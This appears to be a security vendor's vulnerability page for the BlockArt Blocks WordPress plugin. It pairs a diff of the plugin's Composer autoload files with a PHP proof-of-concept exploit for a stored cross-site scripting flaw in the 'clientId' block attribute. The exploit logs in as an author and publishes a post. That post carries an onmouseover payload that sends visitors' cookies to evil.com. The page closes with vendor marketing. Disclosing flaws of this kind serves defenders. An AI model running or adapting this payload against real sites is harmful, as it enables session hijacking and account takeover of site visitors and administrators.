+$vendorDir = dirname(dirname(__FILE__));
 $baseDir = dirname($vendorDir);

 return array(
--- a/blockart-blocks/vendor/composer/autoload_namespaces.php
+++ b/blockart-blocks/vendor/composer/autoload_namespaces.php
@@ -2,7 +2,7 @@

 // autoload_namespaces.php @generated by Composer

-$vendorDir = dirname(__DIR__);
+$vendorDir = dirname(dirname(__FILE__));
 $baseDir = dirname($vendorDir);

 return array(
--- a/blockart-blocks/vendor/composer/autoload_psr4.php
+++ b/blockart-blocks/vendor/composer/autoload_psr4.php
@@ -2,7 +2,7 @@

 // autoload_psr4.php @generated by Composer

-$vendorDir = dirname(__DIR__);
+$vendorDir = dirname(dirname(__FILE__));
 $baseDir = dirname($vendorDir);

 return array(
--- a/blockart-blocks/vendor/composer/autoload_real.php
+++ b/blockart-blocks/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit7c5a0bca96ca44bf6478c95e64322075
+class ComposerAutoloaderInit397291d54c46e0a517cfece8075d563f
 {
     private static $loader;

@@ -22,29 +22,57 @@
             return self::$loader;
         }

-        require __DIR__ . '/platform_check.php';
+        spl_autoload_register(array('ComposerAutoloaderInit397291d54c46e0a517cfece8075d563f', 'loadClassLoader'), true, true);
+        self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
+        spl_autoload_unregister(array('ComposerAutoloaderInit397291d54c46e0a517cfece8075d563f', 'loadClassLoader'));
+
+        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
+        if ($useStaticLoader) {
+            require __DIR__ . '/autoload_static.php';
+
+            call_user_func(ComposerAutoloadComposerStaticInit397291d54c46e0a517cfece8075d563f::getInitializer($loader));
+        } else {
+            $map = require __DIR__ . '/autoload_namespaces.php';
+            foreach ($map as $namespace => $path) {
+                $loader->set($namespace, $path);
+            }

-        spl_autoload_register(array('ComposerAutoloaderInit7c5a0bca96ca44bf6478c95e64322075', 'loadClassLoader'), true, true);
-        self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit7c5a0bca96ca44bf6478c95e64322075', 'loadClassLoader'));
+            $map = require __DIR__ . '/autoload_psr4.php';
+            foreach ($map as $namespace => $path) {
+                $loader->setPsr4($namespace, $path);
+            }

-        require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit7c5a0bca96ca44bf6478c95e64322075::getInitializer($loader));
+            $classMap = require __DIR__ . '/autoload_classmap.php';
+            if ($classMap) {
+                $loader->addClassMap($classMap);
+            }
+        }

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit7c5a0bca96ca44bf6478c95e64322075::$files;
-        $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
-            if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
-                $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
-
-                require $file;
-            }
-        }, null, null);
-        foreach ($filesToLoad as $fileIdentifier => $file) {
-            $requireFile($fileIdentifier, $file);
+        if ($useStaticLoader) {
+            $includeFiles = ComposerAutoloadComposerStaticInit397291d54c46e0a517cfece8075d563f::$files;
+        } else {
+            $includeFiles = require __DIR__ . '/autoload_files.php';
+        }
+        foreach ($includeFiles as $fileIdentifier => $file) {
+            composerRequire397291d54c46e0a517cfece8075d563f($fileIdentifier, $file);
         }

         return $loader;
     }
 }
+
+/**
+ * @param string $fileIdentifier
+ * @param string $file
+ * @return void
+ */
+function composerRequire397291d54c46e0a517cfece8075d563f($fileIdentifier, $file)
+{
+    if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
+        $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
+
+        require $file;
+    }
+}
--- a/blockart-blocks/vendor/composer/autoload_static.php
+++ b/blockart-blocks/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit7c5a0bca96ca44bf6478c95e64322075
+class ComposerStaticInit397291d54c46e0a517cfece8075d563f
 {
     public static $files = array (
         'ace6d88241f812b4accb2d847454aef6' => __DIR__ . '/..' . '/halaxa/json-machine/src/functions.php',
@@ -301,9 +301,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit7c5a0bca96ca44bf6478c95e64322075::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit7c5a0bca96ca44bf6478c95e64322075::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit7c5a0bca96ca44bf6478c95e64322075::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit397291d54c46e0a517cfece8075d563f::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit397291d54c46e0a517cfece8075d563f::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit397291d54c46e0a517cfece8075d563f::$classMap;

         }, null, ClassLoader::class);
     }
--- a/blockart-blocks/vendor/composer/installed.php
+++ b/blockart-blocks/vendor/composer/installed.php
@@ -1,31 +1,31 @@
 <?php return array(
     'root' => array(
-        'name' => 'themegrill/blockart',
-        'pretty_version' => '2.2.15',
-        'version' => '2.2.15.0',
-        'reference' => null,
+        'pretty_version' => '2.3.0',
+        'version' => '2.3.0.0',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
+        'reference' => null,
+        'name' => 'themegrill/blockart',
         'dev' => false,
     ),
     'versions' => array(
         'composer/installers' => array(
             'pretty_version' => 'v1.11.0',
             'version' => '1.11.0.0',
-            'reference' => 'ae03311f45dfe194412081526be2e003960df74b',
             'type' => 'composer-plugin',
             'install_path' => __DIR__ . '/./installers',
             'aliases' => array(),
+            'reference' => 'ae03311f45dfe194412081526be2e003960df74b',
             'dev_requirement' => false,
         ),
         'halaxa/json-machine' => array(
             'pretty_version' => '1.2.5',
             'version' => '1.2.5.0',
-            'reference' => 'd0f84abf79ac98145d478b66d2bcf363d706477c',
             'type' => 'library',
             'install_path' => __DIR__ . '/../halaxa/json-machine',
             'aliases' => array(),
+            'reference' => 'd0f84abf79ac98145d478b66d2bcf363d706477c',
             'dev_requirement' => false,
         ),
         'roundcube/plugin-installer' => array(
@@ -37,10 +37,10 @@
         'sabberworm/php-css-parser' => array(
             'pretty_version' => 'v8.9.0',
             'version' => '8.9.0.0',
-            'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9',
             'type' => 'library',
             'install_path' => __DIR__ . '/../sabberworm/php-css-parser',
             'aliases' => array(),
+            'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9',
             'dev_requirement' => false,
         ),
         'shama/baton' => array(
@@ -50,12 +50,12 @@
             ),
         ),
         'themegrill/blockart' => array(
-            'pretty_version' => '2.2.15',
-            'version' => '2.2.15.0',
-            'reference' => null,
+            'pretty_version' => '2.3.0',
+            'version' => '2.3.0.0',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
+            'reference' => null,
             'dev_requirement' => false,
         ),
     ),
--- a/blockart-blocks/vendor/composer/platform_check.php
+++ b/blockart-blocks/vendor/composer/platform_check.php
@@ -1,26 +0,0 @@
-<?php
-
-// platform_check.php @generated by Composer
-
-$issues = array();
-
-if (!(PHP_VERSION_ID >= 70200)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.0". You are running ' . PHP_VERSION . '.';
-}
-
-if ($issues) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
-        } elseif (!headers_sent()) {
-            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
-        }
-    }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
-    );
-}
--- a/blockart-blocks/vendor/halaxa/json-machine/.php-cs-fixer.dist.php
+++ b/blockart-blocks/vendor/halaxa/json-machine/.php-cs-fixer.dist.php
@@ -0,0 +1,22 @@
+<?php
+
+$finder = PhpCsFixerFinder::create()
+    ->in(__DIR__)
+    ->exclude('ext')
+;
+
+$config = new PhpCsFixerConfig();
+return $config->setRules([
+    '@Symfony' => true,
+    'not_operator_with_space' => true,
+    'yoda_style' => false,
+    'single_line_throw' => false,
+    'unary_operator_spaces' => false,
+    'visibility_required' => false,
+    'php_unit_test_class_requires_covers' => true,
+    'declare_strict_types' => true,
+    'phpdoc_to_comment' => false, // todo remove when we move to GeneratorAggregate
+
+])
+    ->setFinder($finder)
+;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3498 - BlockArt Blocks <= 2.2.15 - Authenticated (Author+) Stored Cross-Site Scripting via 'clientId' Block Attribute

<?php
/**
 * Proof of Concept for CVE-2026-3498
 * Demonstrates stored XSS via BlockArt 'clientId' attribute
 * Requires valid WordPress author credentials
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'attacker_author';
$password = 'author_password';

// Malicious payload to inject into clientId attribute
// Creates an onmouseover event handler that steals cookies
$payload = '" onmouseover="fetch('https://evil.com/steal?c='+encodeURIComponent(document.cookie))" data-xss="';

// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute login and capture cookies
$response = curl_exec($ch);

// Check for successful authentication by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$admin_response = curl_exec($ch);

if (strpos($admin_response, 'id="wpadminbar"') === false) {
    die("Authentication failed. Check credentials.");
}

// Get nonce for creating/updating posts
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$post_page = curl_exec($ch);

// Extract nonce from the page (simplified - real implementation would parse HTML)
// In actual exploitation, the nonce would be extracted from the page source
$nonce_pattern = '/"_wpnonce":"([a-f0-9]+)"/';
preg_match($nonce_pattern, $post_page, $matches);
$nonce = $matches[1] ?? 'invalid_nonce';

// Create a post with BlockArt blocks containing malicious clientId
$post_data = [
    'post_title' => 'Innocent Looking Post',
    'post_content' => '<!-- wp:blockart/post-template {"clientId":"' . $payload . '","columns":3} -->n<div class="blockart-post-template blockart-post-template-' . $payload . ' columns-3"></div>n<!-- /wp:blockart/post-template -->',
    'post_status' => 'publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'action' => 'editpost',
    'post_type' => 'post'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_result = curl_exec($ch);

// Verify the post was created
if (strpos($post_result, 'Post published.') !== false || strpos($post_result, 'Post updated.') !== false) {
    echo "Exploit successful! Malicious post created with XSS payload in clientId attribute.n";
    echo "The payload will execute when users view the post and mouse over the BlockArt block.n";
} else {
    echo "Post creation failed. Check nonce and permissions.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School